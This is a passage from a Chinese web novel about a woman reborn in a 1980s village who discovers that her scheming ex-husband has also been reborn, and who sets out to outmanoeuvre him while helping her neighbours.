《重生在嫁人前[八零]》
1. 双重生
颠三倒四的梦境里滑过一阵刺眼的白光,酒店包厢的水晶灯照得满堂明亮,围坐二十人的大圆桌逐渐清晰,两头分坐四人,三男一女。
“小林,怎么不喝?赵局一直向我推荐你,说你人美心甜,手段好,功夫不错。为你那厂子,一口不喝,不给我面子?”肥头大耳的单局倾过半个身,手中的酒杯直戳在脸前。
玻璃杯上投射男人腥气的色相,直教人犯恶心,连胃都在翻搅。
面容精致的女人强扯笑脸,一手搭在桌沿处微拳,一手试图去接酒杯,力求能抓住主动权。
桌子对面坐着两男,自顾窃窃私语,一人清晰一人模糊,清晰得正是组局的楚邵,林语晨的丈夫。
意识在浑噩里沉浮,胃痛像是警世钟般惊醒林语晨。
她朝昂起脖子喝酒的女人大喊:“别喝,别恶心自己。”
胃里传来一阵翻搅,梦境消散,肚子咕噜噜直叫饿。
“嗬……”
半黑半明的房间里,林语晨猛坐起身,揉捏发胀的额头。重生回来已经五天,还会梦见上一世不顾一切打拼的事。
晦涩的眼神瞟向薄薄的菱花玻璃窗外,外头的天色已经泛白,肚子也饿,该起床干活。
“晨晨,快点起床,都几点了。水站那边早就开闸放水,快去田里灌水。”林兰香是林语晨的母亲,不仅能苦干,更懂这个时代做女人的生存之道。
此刻,她得催林语晨快点起床,到村里走一圈露露脸,免得被人闲言碎语说是懒婆娘。
前两年分产到户,只要农人肯干,除上缴的部分,收得全是自家的吃食。
农人的日子终于有盼头。但是,自古以来的道理:农人不做没得吃。谁家要是有懒婆娘,名声传出去后不好嫁人。
林兰香也不想宝贝女儿传出懒名声,即使心疼她体弱,也要让她早起去村里走一圈。
房间里的林语晨长出口气,重生归来,钱财两空,先解决眼前的温饱问题吧。
八十年代初的农村,粮产还不高,不干活真会饿肚子。
拖着年轻的身体下床,耳里灌入母亲的碎碎念,像水渠里潺潺的水,不把自家的田灌满,开闸的人不会停机关阀。
所以她得尽快赶去田边灌水,去迟了,人家的水田满水,水站也差不多该停机,没灌水的人家得拿盆舀水进田。
林兰香见女儿出来,打量她的衣着:“灶上闷着粥,还有鸡蛋,快去吃。”
“嗯。妈,我吃完就去灌水。”
林兰香哎了声,又担心她穿的白底碎花衬衫在下田时弄脏,想提醒女儿换一件干活的衣服。不过,衬衫一半扎进裤腰的穿法,勾出女儿的身材和气质,上饱满下纤长,两挂黑粗长的麻花辫,大气有活力。
亲妈看女儿有滤镜,越看越美。
只是,青底色的裤子太普通。目光落在女儿的脚背:“晨晨,进去穿上丝袜,别舍不得穿。”
林语晨糊弄把脸,年轻就是好,随便洗洗都是水光肌。
林母催第三遍,又像是开闸放水的水站,非得念到有回应。
她唏哩呼噜吃着粥,含糊说:“妈,别说了,我想留给你穿。”
“我穿什么呀,你去穿上。多大年纪,招人念,长没长大呢。”
“知道了,妈!我知道妈心疼我,我穿还不行嘛。”林语晨回房间,坐在床沿。
双足白皙小巧,像是白菜帮子的芯,伸张两下还怪可爱。套上肉色的丝袜,冰冰凉凉不硌脚,是她最贵最精致的东西。
穿好后藏进青黑色的单袢布鞋,不容易被晒出几个色。农村的日头足,不穿袜子的人多得是,一个夏天过完,脚背就有褐色的痕迹。
十里八乡的姑娘里,颜色比林语晨好得真不多。容貌给她足够的自信。
上天垂爱,脑子也不算笨。家里有因功受伤退伍的父亲,带回家足够的眼界,让家人比别人多知道些新消息。
上一世,林语晨听父亲说得那些发展前景的话,启发乘改革开放的风在家乡办厂的想法。
清晨的风湿漉漉,林语晨轻呵了声,取个鸡蛋放裤兜,拿上水盆准备出门。
林兰香赶紧叮嘱:“晨晨,人家的田水位线低,容易进水。咱家的田位置高,你多等一等,实在不行再拿盆舀水。妈一会干完活就来,等妈来舀水啊。”
“知道,妈。”林语晨应下,又暖暖地笑开,“等我去田里看情况再说,说不定人家早灌满,轮到我家水位刚好,不用你来舀水。”
林兰香给她一个“美得你”的眼神,又跟句:“路上记得喊人,嘴甜没坏处。”
林语晨哎了声,赶紧奔出院。
农人勤劳,起得早,村道上没几个人,不是已经下田就是在自家院子里干活。
零星遇上几人,按林母的意思,逢人就喊“早。”
上一世不知妈妈好,重生一次,方才明白多听好妈妈的话没错。
王蓉花和相好的妇人从田里回来,路过哼着歌的林语晨,回应句:“早?不早了。不过,你去刚好,不用拿盆。”
“谢谢王阿姨。”
两人看着林语晨的背影,忍不住闲扯几句。
“十里八乡的男青年随她挑,不知道以后挑个什么样儿?”
“可不呢,外面传咱们赵家村出只金凤凰,小山沟里关不住林姑娘。”
“这话好笑,林家不也是下田干活,难道她还能嫁进城?多大的年纪了,高中没读完还逃学,进城谁家要啊。”
林语晨停步回望,哼歌的兴致淡几分。
上一世,她就是在这样的声音里铆足劲往城里钻,后来确实成功,成功得被人说“嫁得好!”
她的努力像是一杯白开水,淡到没味道。
以前农村和城市两地封闭,人口不能自由流动,大家窝在一个地方生活。
如今不一样,开放后乡下人可以进城务工,甚至到特区找财路。
上一世,林语晨和楚邵虽是两个村的人,但都是野心勃勃的。
机缘巧合下,两人一拍即合,拉关系集资金,一路办厂、卖货,高歌猛进。
积累足够的资本后,两人入城融入兴起的房地产业,从实干家到投资家,握得一手发家致富的好剧本,成为灵江市的首富。
别看日后是首富,创业之初,农村人办点大事,没有硬关系,得付出多少辛酸,淌多少曲折,真是一言难尽。
旁人只见你人前风光,不知背后辛苦难当。
首富的剧本还没唱落幕,林语晨的身体先受不住垮掉。
大家都说男人在外面应酬,喝天喝地的伤身,女人要学会体谅他们!
放屁!女人不仅得喝酒应酬、公司抓业绩、管会计财务、管家管吃喝……忙起来比花天酒地的男人辛苦得多。
后来,林语晨扶持起来的楚邵在外面渣出个三四五六七不说,带回家个年轻的红辣椒。
红辣椒初生牛犊不怕虎,逼原配下堂,闹得本就面和心不和的两夫妻直接撕破脸、当堂谈离婚。
楚邵是渣男,板上钉钉。不要他也罢,私生儿女都不是同一个妈。
难得是两人分割财产的事。家产的数额巨大,利益捆绑过深,又都不想便宜对方,着实闹好长一段时间。
那段日子不仅林语晨心累口苦,林爸林妈也跟着受罪难过。
老人家的思想总是希望女儿有个儿女傍身,偏偏林语晨早趁着年轻时把身体当财富,多年辛劳搞垮身体,168的身高,体重从没超过百,也一直没要孩子。
其实,两夫妻早没性/生活,彼此相看两相厌,哪来激情。
林语晨踏上田埂,别得先不说,这次一样不能让爸妈再吃农人的苦,更不能让他们为女儿的事愁眉苦脸。
大片水田里,许多人家已经挖开田口灌水。村里人听她打招呼,赶紧回应句。
赵小翠同林母要好,呼应两句:“语晨啊,来灌水呢,你妈呢?”
林姑娘像是戏本子里的林妹妹,好看不娇,但也不是干农活的料。下田拿盆不拿锄头,林兰香肯定没指望女儿干活,可惜姑娘没投生在城里人家。
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“姨,我妈在家喂猪呢,一会来替我。”林语晨欣赏他们质朴鲜活的脸,既亲切又感到温暖。
上一世,林语晨发家后没忘记这些人,归于林父的教导。
林父是军人,教导林语晨富了不能忘本。
林语晨对于赵家村的贡献源于一位七十岁的老人,按林父的意思,帮人家安排进城里医院看病。后来,林家给村里七十岁以上的老人每年在重阳节发五百元过节,希望他们可以用来检查身体或者买点补品养身。
往后,林家为富有道的名声起来。
楚邵见林语晨在村里博点好名声,没少跟着做沽名钓誉的事,造桥铺路捐祠堂,一样没落。两夫妻都是聪明人,名声等于口碑,口碑能来财路,在赚名誉的事上下足功夫。
林语晨到自家的田埂处,水渠的水位线没到田口,但也如王蓉花说得一样,前面好多田灌满水正在堵田口,水位线跟着在慢慢上涨。
林语晨问赵小翠借锄头,将田口挖开,田里慢慢地进水。
刚要把田口再开大点,斜里伸来只骨节分明的手,似等人把锄头递去。
“晨晨,我来吧。”楚邵看似要握锄头,眼睛却贪婪地注视年轻的林语晨。
十里八乡当中,林语晨的美是独树一帜的,聪慧明艳,落落大方。
此时她还年轻,纯洁无瑕,犹如亟需男人擦拭的璞玉。
林语晨没想到回来才几天,这么快就见到楚邵。
男人的手伸着,却没来握锄头,专门等人递他手里呢。
所谓:男人的好得女人捧出来。
嗤!
林语晨盯他有些久,面上是历练出来的平静无波,眼里是风云汇聚的厌恶。
男人不管美丑,此时的桃花眼里多有情,一旦他不爱,多看你一眼都嫌恶。
楚邵的桃花眼是什么时候开始变浑浊?哦,进城买房第一年,某一天开始,他打扮得比姑娘还花枝招展。此时想来,林菲儿就是那时候跟了他。那以后啊,桃花眼里只剩下狡诈诡谲的算计和欺骗。
楚邵的眼里写着聪明,当年也只看到他聪明,没看到他缺少智慧。
为人表面温柔和善,办起事来心狠手辣。长的痞帅,骨子里却是男人的自傲风流。
上一世的楚邵即将实现人生巅峰:事业有成、即将死老婆,不用拉扯离婚就能拿万贯家财;私生儿女满堂绕膝,即将娶的新老婆又年轻又漂亮。
可惜,行贿买空的事情败露,逃亡路上一朝车祸,万般算计尽皆成空。
重生归来的楚邵左思右想,得靠林语晨的手段才能走出苦农村。
林语晨看得久,没接他的茬。
楚邵主动握住锄头,面上散着笑容:晨晨一定像上一世一样对我一见钟情。
他低头挖深田口,田里的进水变大,嘿笑两声:“幸好是农人出身,没忘本。”
林语晨的耳尖,这话听着怪。
接下来是更怪的话。
“晨晨,我听说你要募集资金,准备办厂?你看,算我一股行吗?”楚邵杵着锄头,盯着林语晨,等着她第一次拒绝。
林语晨聪慧、骄傲,想要获得她的认可,得下足功夫。
重生回来,有上一世的底子,楚邵想她即便依然是那个性子,多试几次、磨一磨总能成事。
只是,这一次,楚邵再不会同林语晨闹掰,一定爱这个将第一次给自己、将智慧给家庭的好女人。
林语晨修长的眉宇皱出川字。
上一世得这时候,确实向好友赵晓鹤透露办厂的意思。乘着开放的风将厂办起来,不仅发家致富,还能振兴乡镇。
但是,重生归来,根本没同赵晓鹤讨论过办厂的事,所以不存在楚邵的“听说”。
而且,与楚邵即便认识,也没熟到喊“晨晨”这个小名。
上一世,两人拿到结婚证后才开始喊对方的小名。
所以,只有一个可能:楚邵也重生了。
老天真爱开玩笑,将仇人重生在面前,还马不停蹄地自暴。
2. 傻白甜
林语晨控制唇角的弧度,不让自己笑出声。
重生好啊,大家一起重生,打脸复仇才带劲嘛。不然,你报复个傻白甜,多没劲。
清纯的脸孔冷厉道:“什么办厂?我根本没这想法。”
楚邵知道办厂是林语晨的秘密,自顾说:“赵晓鹤同我说了。正好我有一笔钱,跟着你干。你不是缺资金吗?”
林语晨眯起眸,这时候的楚邵身无分文,哪来钱投资?
上一世,林语晨看上他,肯跟他合伙纯粹是现在上镇办事难,人家卡得紧,大家都卯着劲自己干呢。
办厂两字容易写,跑单位、办理证件、请人喝酒吃饭、采买机械设备、开通销售渠道等……人情买卖等一切应酬,在这个时代背景下没有男人办不了。
这才是上一世林语晨选楚邵,又很快与他结婚领证的真正原因。
旁人不是不行,而是旁人没有楚邵的胆量魄力以及聪明会来事的劲,再有这双水灵灵发春的桃花眼深情起来确实勾人。
“你家比我家穷,哪来钱,卖宅基地呢?”
“嘿,不愧是晨晨,动动脑子就是财路。”楚邵上赶着捧她,“不过,你失望了,曾经有人对我说过,卖什么都成,不能卖老宅。老宅是根,是退路,是守望的家。”
林语晨的脸色微僵,越发肯定楚邵重生的事。
上一世,千禧年的十年后,郭嘉开始倡导治理环境,造纸厂因为污水问题严重,大批厂子被关停整顿。
麻绳专挑细处断。楚邵这年借出大量的资金用于风投,结果暴雷亏损,损失很大。
两夫妻要卖房产周转。楚邵动起卖老宅的心思。大家都住城,又不常回老家,不如卖老宅填补窟窿。但是,林父说出上面这段话,打消林语晨卖老宅的想法。
楚邵笑得油滑又得意,这番话正是林父说的,一定能触动林语晨,言传身教的魅力。
“我帮林菲儿他爸开车送货,同林菲儿的爸爸说办厂的事。他同意借给我一笔钱。你觉得怎么样?我们一起干。”
“呵,你要办厂想带上我,怎么成我算你一股?”林语晨轻嗤,绕着田埂就走。
隔壁的赵小翠看好一会的戏才走,说不定一会村里就传出闲话。
楚邵将锄头扎进田埂立着,追上林语晨:“怎么,你没这想法?不可能。我不信你没有赚钱、走出农村的心思。”
林语晨回转身:“林菲儿的爸肯借钱给你?凭什么,林菲儿看中你?”
“……不对。”楚邵赶紧摇头,“林菲儿她爸肯投资我是觉得我聪明。我和林菲儿根本不来事。”
不来事?前世林菲儿是楚邵的第一个小三。
因为她只生个女儿,又要得太多,加上楚邵喜新厌旧的花花本性才厌弃她。
鬼话连篇。
林语晨暗嗤,最后拿证据扳倒楚邵得也是林菲儿。正所谓敌人的敌人就是朋友。
林语晨敛去眸里的讥诮,慢慢地平复情绪。
“她爸看上你什么?”又恍然,“哦,你会开车。什么时候学会开车?没听村里人说起。学开车是大事,若你会开车,早就在两个村传开。”
楚邵的脸色白大片,轻咳两声:“林菲儿的爸确实看重我会开车的本事。我不用学,上车看他摸一会就会开。这说明什么?”
“什么?”林语晨冷眼看他,当看猴子表演。
“说明我楚邵聪明,天生的脑袋,命定的富豪,配得上你林语晨。”楚邵一脸认真地说,等着林语晨笑,却发现她依旧板张脸。
林语晨差点就憋不住笑了。
上一世的楚邵哪敢这么大脸啊,为达目的,一直小心谨慎,处处捧着别人。
若没有林语晨出主意,替他打点,楚邵还是个人嫌狗厌、自卑讨人嫌的混混。
聪明?自作聪明。
天生的脑袋?蠢脑袋。
命定的富豪?那些关系是谁给拉回来?
投资暴雷又是谁踩的坑,谁善得后?
林语晨想起就要嘲笑他三声,又为那时候的自己可怜。
二话不说提起脚,将没防备的楚邵踹进水渠。
“哎?”楚邵摇摆几下还是掉进渠。
噗通一声,水花四溅,兜头盖脸的黄泥水。
人从水渠里站起来,开春后的水透着凉意,直冷得他打寒噤。
赵有归从远处大步走来,听到声响,赶紧靠过来,本是打算救人。女子清脆的笑声像莺啼,滑过他近来沉重的心湖,留下道浅浅地痕:这样的好颜色,难道是林叔家的林语晨?
他瞧明白现状后急切的脚步慢三分。
女孩子没吃亏,先看情况再说。
林语晨拿起盆,又给楚邵的头顶来两下才解决。
咚咚得好响亮。
“你别太自以为是,洗洗你那天生的脑子。”
楚邵被折腾的够呛,在水渠里划远一些才站稳,脸上蕴着气,又强忍:“林语晨,你做什么?我好心好意带你发家,你什么意思?”
“没什么意思。我觉得你不老实。对了,我还没同赵晓鹤说办厂的事,这是我心里的秘密,你怎么知道?不然,我们一起找赵晓鹤对峙?”
林语晨见他愣过后要上岸,二话不说追上去又给他结结实实地踹一脸,直把人踹得往后仰,懵在水渠里扑腾。
“呵,哈哈哈哈……”痛快。
上一世,大家都是斯文人,牵扯巨额的财产,不好让外人见着撕破脸的场面。
现在,林语晨不惯着楚邵。十里八乡都知道林语晨骨子里藏着骄傲,面上和善,实则不易让人亲近,恼起来也是军人的孩子,可粗可细着呢。
楚邵抹把脸,看她笑得花枝乱颤,也跟着笑开。他以为林语晨在逗弄,扑上渠堤去抓她的脚。
林语晨躲开楚邵的手,拿起盆又给他狠狠地来一记,哼笑:“你当我在跟你玩?我警告你,再纠缠我,就告警察,说不定审你个妖言惑众。”
急忙回到田口处,操起锄头防楚邵发难。
这时,腰板笔挺的男人一身绿装,肩头订着五角星,将落汤鸡似的楚邵从水渠里拉上岸,深邃坚韧的目光在楚邵的脸面上转一圈,不等人家道谢就先松手。
对方松手太快,楚邵差点又跌回水渠,蹲下身扒住田埂上的草才堪堪稳住,却也扑个狗吃泥。
“哈哈哈哈……”
林语晨再次大笑,又扫向不知道是帮忙还是使坏的男人:这是……赵有归?他回来了!
楚邵已经从脑里挖出这人的身份,听着林语晨笑,站稳说:“你是赵军红家的赵有归吧?军人!两个村的人都说你最有出息!不是,你怎么回来了?”
上一世,赵有归的母亲沈秋霞是在这段时间病逝,赵有归根本没回来。
后来,听说他匆匆回来奔丧,五日后再次离开村。此后,赵有归再没在赵家村出现。人们都说,赵军红家的儿子白生了,老子过世,儿子没见着爸最后一面;老娘病逝,儿子也没赶上趟……这情况怎么不一样了?
赵有归平静的双目注视着楚邵,扫眼拿锄头防御的林语晨:“队里给假期,回来看看我妈。”
“哦,这样。多谢啊,让你见笑。我和晨晨闹点小矛盾,她出了气,笑了就没事。”楚邵眯眼,笑容不达眼底。
变数意味意外,得防他。
贴近赵有归的耳旁,“我们小两口打是亲骂是爱,她就这泼辣性子。呵呵呵。”
林语晨最熟悉楚邵的神情,准没憋好事,朝男人喊:“有归哥,赶紧回家吧。这几日婶子咳得厉害,若不是村里帮着打电话通知你,你都不知道要回来。”
赵有归心觉暖意,朝她点头,电话是林父打去部队。
“这就回去。”往回走上大路,又朝楚邵说,“人家好姑娘,别动粗。”
楚邵打个激灵,抽着眼角,抹把湿漉漉的头发和脸面。
“我怎么舍得欺负她,都是她在欺负我。”
林语晨发现对方是特意绕到田埂上来,难道是为救楚邵
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切,便宜他。今天就先到这!
她没再管楚邵,目送赵有归离去,想起重生回来办得第一件好事。
重生归来的第三天,她走到沈秋霞家的枣子树下,听见院子里的沈秋霞咳得厉害,进去看了眼。
沈秋霞咳出血都不愿意去卫生室看病,固执得像是结实的枣木棍。
林语晨想起她还有个儿子,就提议叫赵有归回来。
沈秋霞阻止:“有归是队里要紧的人物,忙得很,哪有空回来。你这孩子心好,多谢你。过两天,天气转暖,我就没事了。”
林语晨离开她家院子,回忆起赵有归家的事。
上一世,林父感怜同是军人的赵有归,偶尔会提起当年的事:他劝赵有归放宽心、赵有归来城里看他。只这两件事,林父记大半辈子。
林父对赵有归真得非常喜欢:“有归这孩子多好,听我说住进城里的别墅,特意过来看我,夸我有福气,生个好女儿。
我记得,当年他的父母去世,他一面没见上,心里很是自责。沈大嫂出殡,有归一直闷在老屋。我劝他两句,后来人归队,一心把部队当家。我瞧着,父母过世的伤都憋在他心里。
现在,他退伍从政,至今记得当初我劝他得这份情。听说我住城里特意来看我。重情重义,多好的人。”
林语晨听林父说起,当时就反驳:“若赵有归真重情义,怎么不管他爸妈的死活?”
其实说到头,沈秋霞爱子心切,有病还藏着掖着,一直到死都没喊赵有归回来,等她想见儿子也来不及。而赵有归因为这事痛苦、遗憾一辈子。不然,赵有归也不会看望林父,感念林父的好。
上一世,林父说起赵有归时很遗憾。
这次,林语晨得知沈秋霞的情况,提醒林父打电话通知赵有归回家。
热心的林父当即说:“晨晨说得对,我必须通知有归回来。沈大嫂和赵哥一个脾气,倔得很,怕耽误有归的正事。赵老哥是退伍人,伤过腿,还送儿子上战场,去的时候也没见上有归一面。一家人都难过。现在沈大嫂又生病,一定不能再犯糊涂。我不敢想有归若见不上……得,我现在就去一趟村委,借电话打给有归,让他快点回来。”
沈秋霞被林父和林母劝一天,听说有归在回来的路上,才答应林父上镇卫生室看病。
林语晨望向远去的高大健硕背影。
赵有归没上卫生室,没碰上沈秋霞吗?
扫眼巴巴凑上来的楚邵,瞧他湿漉漉得一身,提起锄头就吓得他后撤。
林语晨好奇赵有归的经历,眯起眼:“楚邵,你不是要我入股?我不同能力不行的人合作,考考你。”
正好趁机晾着他,伤风感冒也是小折磨。
楚邵本在生气,闻言又笑。这不就是他的林语晨么,骄傲、自信,不入眼的人绝不搭理。
“行,只要你肯答应同我合作,随便你考验。”
林语晨将锄头递给他:“帮我看好水,不准多,也不准少。完事后将锄头还给村东头的赵小翠阿姨家。”
“哎?”楚邵见她扔下锄头就跑,追也不是留下又难过,高声喊,“林语晨,你可答应我了。”
林语晨边跑边嗤:做梦去吧。这次没了我,瞧你怎么将摊子立起来。
她跑过一段路又停下,回头看向杵在田埂上的楚邵。
楚邵一直望着她,见人回首视察,当即乐呵地挥手。
林语晨收敛眸里的幽光,转身继续走:楚邵也是重生。办厂的摊子以他现在的见识和手段应该能立得起。只不过,造纸厂最关键得不是机械设备,而是启动资金和日后的环保问题。他要过环保局陆天得这关不容易。
“哼,我看你这次拿什么手段喂饱陆天这条贪吃蛇。”
林语晨回到家,见林母不在,就赶去赵有归家,正见林母和赵有归从院子里出来。
好家伙,赵有归的腿长,走路真快。
“晨晨回来啦,田里放满水了?”林母当场就问。
3. 这个数
“在灌呢,放心,有人帮忙看着水。我来看看……有没有要帮忙的事。”林语晨的眼神瞟向赵有归家。
院子里有一棵颇有年份的红豆杉,刚长叶的大枣子树,同大部分的农家一样,墙角放着农具、簸箕,墙下种着时鲜绿蔬。
林母拉把女儿,同她解释沈秋霞住院的事,又朝赵有归说:“你到姨家坐会,吃点热食,再带些去卫生室。你妈的脾气肯定不让你乱花钱,其实,你叔也是这样的人。听姨的话,上家里吃口热乎。”
“好。麻烦林姨。”赵有归说话简略,朝时不时打量来的林语晨点头。
这小姑娘长得确实好看,也好奇得紧。他头一次发现身上这套绿装除责任外,还招人关注。
林兰香拉上不知瞧什么的女儿走在前面,喊上赵有归回家。
林语晨听说沈秋霞的病情挺严重,也不多说什么,帮林母生火热饭。
她先用铝盒打上稠粥,留着给沈秋霞。若是她吃不了稠的,在医院加点开水和稀就行。
这个年代别说林语晨,老一辈都不挑嘴,有口吃就行。
林语晨见林兰香煮鸡蛋,赶紧提醒:“妈,鸡蛋好像会让人咳嗽加剧,你用水鸭蛋,性温。”
林兰香狐疑地看着手里的鸡蛋,接过林语晨换来的鸭蛋:“没听人说鸡蛋会让人咳嗽。你看得什么书,鸭蛋不腥吗?”
“我去摘点葱,打个葱结,你再切两片姜、放点盐一起煮,蛋白凝固的时候打破一点壳,让葱香味和咸味渗进去,能去腥。”
这些小技巧是母亲日后从别处学来,如今算提前学会。
林语晨转身去摘葱,差点撞上长手长脚的赵有归,见着他递来的小葱。
林语晨接过,如阳光般笑开:“谢谢。”
赵有归下意识缩张瞳孔,望向身量高挑的林语晨,深邃的眸光里掠过缕幽暗。
耳边回响起楚邵在田埂上说的话,他又垂落眼神:“不客气。”
林语晨到水缸边洗葱。干净的水,碧绿的葱,白皙的长指上嵌着粉嫩的指甲,如红楼梦里的唱词:一把子水葱儿。
赵有归本要撇开眼,又见着她把葱捞出水盆,被阳光照着的手散发嫩玉的质感。
这个女孩不仅漂亮、好奇,而且泼辣,打人时一点不手软。
他从林叔和母亲那知道,提醒林叔打电话通知自己得正是林语晨。对此,他很感激林语晨。
若有机会,一定要帮她一把才好。
“有归哥,先吃一点垫垫肚子,一会到镇上就中午,饿不着。”林语晨将林兰香给得满满一碗米饭递给他,上面盖着倒笃菜炒辣椒,特别下饭。
赵有归没矫情,接过后道声:“谢谢。”
林语晨笑开,迎着赵有归明亮有力的眼神,莞尔:“有归哥不用一直说谢。大家乡里相亲,互相帮助才正常。”
“嗯。”见不到父亲得最后一面,一直是赵有归心里抹不开的伤。此时此刻,他真得很感激林家,感激林语晨提醒林叔打电话。
若沈秋霞瞒下病情,拖得时间久一点……赵有归一点都不想父亲去世的事再次上演。
赵有归不常笑,面对林语晨的好颜色,会不由自主跟着笑。
以前他听母亲念叨:以后你娶媳妇就会忘了妈。妈不用你惦念,娶个媳妇随军,你们过好就成。隔壁家的语晨长得好,人聪明又大气,身子骨弱点,不知道受不受得住你。妈也不知道咱家能不能娶到她,你寄回的钱,妈都给你存着,给你娶媳妇。
……赵有归埋首吃饭,以前不觉得妈说得话有道理。
今天发现林语晨一笑,真将病重在院的老妈忘一瞬。至于后面那些话,不当回事。
他吃饭快,饭入口后咀嚼得非常有规律,一看就是部队里训出来的吃饭方式。
林兰香一巴掌拍在林语晨的后脑勺:“看什么呢?这么盯着人家吃饭,礼貌么?”
林语晨咧嘴,轻声说:“有归哥吃饭像爸,入口快,嚼得细。”
赵有归顿下,继续吃着,心里说不上什么滋味,最终化为一句:她把我当亲人,我就是她亲大哥。
赵有归走后,楚邵上门邀功。
“阿姨好。晨晨在家吗?”
林兰香被他没脸没皮一声晨晨喊愣住:咱家姑娘找这人谈恋爱?
楚邵见她的脸色不对,赶紧道:“林阿姨,田里的水放得刚刚好,苗上三手指,不多不少。”
林兰香回过神,难为情道:“嗐,这孩子怎么能让你帮忙看水。若我知道是你,早就去替你。语晨,晨晨……”
楚邵心下暗喜,赶紧打圆场。
“阿姨,我自愿帮忙。没别的意思,不要怪语晨。我是……”伸出两大拇指,互相一对,表明要追林语晨。
林母被狠狠地噎住,没敢接这茬,转眼说:“你身上怎么回事,怎么湿了?快进屋,我找块毛巾给你擦擦。”
喊半天不见林语晨出来,心知她溜出门,林兰香决意先打发这臭小伙子。
“你看,林语晨不在家,这……”
楚邵家的条件不咋样,人是挺聪明,肯干活的话倒也饿不着语晨。
不过,聪明反被聪明误,楚邵混不吝,村里不少小姑娘夸他,他也受用,反而衬得人很没分寸、不着调。
男人不仅要会干活,还得有责任心会顾家。
楚邵的性子,两不沾,不合适!
楚邵闻声知意,没敢死皮赖脸地留下。
上一世,他敬重林父,害怕林母。外遇被爆出来时,林母闹起来能提椅子就砸,凶得很。
“不,妈……不是,阿姨。”
楚邵见林母被喊僵住,赶紧哈哈笑着换口,“我家也得灌水,先回去忙。你忙你忙……”
林母明显松口气,这声“妈”喊得她差点三魂去七魄。
“死丫头,搞什么事。”又追出院,“哎,小伙子,谢谢你啊。”
楚邵挥挥手,差点绊了跤,赶紧跑掉。
林兰香摇头:“真是不知轻重。不先管着自家的水田,倒来帮我家灌水。他妈好像是知青,身体又弱又爱娇。林语晨的性子做人家媳妇,不得被嫌弃死?
死丫头,跑哪里去了?”
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——
“赵晓鹤,你出来。”
“语晨,你怎么来了?”赵晓鹤眯着眼,握本书跑出门。因着眼睛近视,一不小被门槛勾下,差点摔个狗吃屎。
林语晨瞧他站稳,赶紧说:“改天进城配一副眼镜。你家的古董多,随便卖两件就够换眼镜。”
赵晓鹤嘿了声:“不是有句古话:坐吃山空。不到山穷水尽,不会卖这些。你找我有事?”
上一世,林语晨办厂的启动资金就来自于赵晓鹤家老祖宗留下的古董。
赵晓鹤卖古董投钱,林语晨给他分了股。
后来,楚邵以两人是口头协议的说法,直接把定好的股份当做借钱来办,硬生生把赵晓鹤的股份排挤出去。
这时候的经济法不严谨,赵晓鹤没有追溯的意识,又看在林语晨的份上认下这亏。只拿回当初投入造纸厂的本钱和一点五的利息钱。
不久后,赵晓鹤也说过“坐吃山空”的话,带钱跑特区发展,结果被骗得连回来的车票钱都没有。
他怕父母骂他没本事,给林语晨打电话求救。林语晨给他买张车票,他才能跑回来。
后来,赵晓鹤在镇上的古玩街开家店,算是找到对口的工作。
前期他真没赚钱,有时候收货还亏本,总得来说只够吃喝。后期不一样,富豪多了,买古董字画的人也多,生意真正好起来。他是一身闲富,应了好人有好报的说法。
“我想说楚邵要办厂,林菲儿的爸肯借钱给他,但是他能借到得一定不多。他也一定会来找你家借钱。到时候,你借给他,不过得黑子白字写清楚,让村长和你二叔做证人签字。”
“签什么字,借条吗?平白无故我借钱给他干什么?他办厂关我什么事。”赵晓鹤把林语晨请进屋,坐在院子里的老梨花木桌边。
林语晨摸把桌子,啧了声。
上一世的自己眼光差,不懂这些古董得好。
赵晓鹤是真讲义气。自己一句话就卖了两件古董,借钱给自己办厂,最终却没捞着好处。
这一次,一定让他把往后二十年的好处连本带利一起谋回来。
“不是借钱,是出资入股。你得写清楚,出了钱,在厂子里能占多少份额。以后,他的厂子挣钱,你就能收红利,在家躺着收钱。明白吗?”
赵晓鹤在脑海里转好几圈才懂她的意思,又问:“你怎么知道他的厂子能赚钱啊。厂子要是跟打水漂似,投下的钱一去不回呢?”
林语晨笑起来,忍不住拍在书呆子的肩膀:“你不信我?”
以前那么信,却信错。这次,不教你吃亏。
“信。”赵晓鹤对林语晨有一种迷之相信。
源于儿时在河边玩时,赵晓鹤落水,旁人都乌拉拉跑掉,只有林语晨抓着河边的树枝把他拽上来。
赵晓鹤信奉:救命之恩,当涌泉相报。同样,他也信:青梅竹马、两小无猜最是要好。
“信我就行。一定要写协议,让村长和你二叔作证签字。啧,不行。我怕你不会写,现在我就给你写一份,到时你一定要咬死这个数。”
4. 高考不
林语晨在找赵晓鹤的路上思量过好几遍:
楚邵也是重生,以他的决心和本事,定能把厂子办起来,也一定会找赵晓鹤借钱。
赵家村和隔壁的林家村,说得上有钱且会出钱,就两村里的两大头子:村长、会计。
两个位置的人都是本地人,两边的书记不是知青下乡就是镇里派来,根基不厚。此外就剩下林菲儿的爸爸林裕宝,以及赵晓鹤的父亲赵松华。一个投机倒把往家里扒拉,一个从祖上传下来的荫庇,都是出了名的有钱。
赵晓鹤为人太迂,还好骗。
楚邵的黑心肝会再坑赵晓鹤一次,还会把投资办厂的事当作借钱付息。
借钱付息的手段是现在最让人理解和接受的赚钱办法。而从长远看,远远不如入股拿红利得到的多。
片刻后,赵晓鹤拿着林语晨口述、他代笔的协议书,玩笑道:“语晨,你的文书写得这么好,怎么不去高考?没过二十五呢,还有机会学习。”
林语晨张嘴没出声。重生以来,想过几种活法,就是没想过重返学校参加高考。
“我都过二十生日……”
“没过二十五,还有机会。我把书借给你,你和我妹晓琳一起备考。”
林语晨对赵晓琳是真佩服,前世重病发作,都是赵晓琳帮忙安排住院,也是赵晓琳帮忙瞒下病情,多出不少时间收集证据,对付楚邵。
此时的赵晓琳还名不见经传,在村里没什么存在感。一年后,她会一考成名,成为高等医学院招生40人里得一位。
赵晓琳毕业后进省一院就职,职称、学术论文日渐丰富,最终被调往省二院成为副院长。她是赵家村真正的传奇女人。
林语晨躺在病床上时最常说一句话:“咱们村最有出息是赵晓琳。她才是赵家村飞出的金凤凰。”
此刻,林语晨望入赵晓鹤的眼眸,哥哥和妹妹一个妈生,但是天差地别。
她忍不住笑出声:“你还是抓紧自己的学业吧。我……年纪大了。”
“我说你的年纪不大,让村长、书记开个证明就能入学参考。你以为我不想认真考啊?晓琳给我出张试卷,我……数学……30分,实在不行啊。她让我考大学当老师,我一见乌泱泱的孩子们,吓得不行。
你不一样。只要你肯用点心,就能进城读书。我知道你不想待在这地方。”
赵晓鹤的数学不行,但文化课没问题,细心地察觉到林语晨的愿望。
林语晨不知道该不该安慰他。
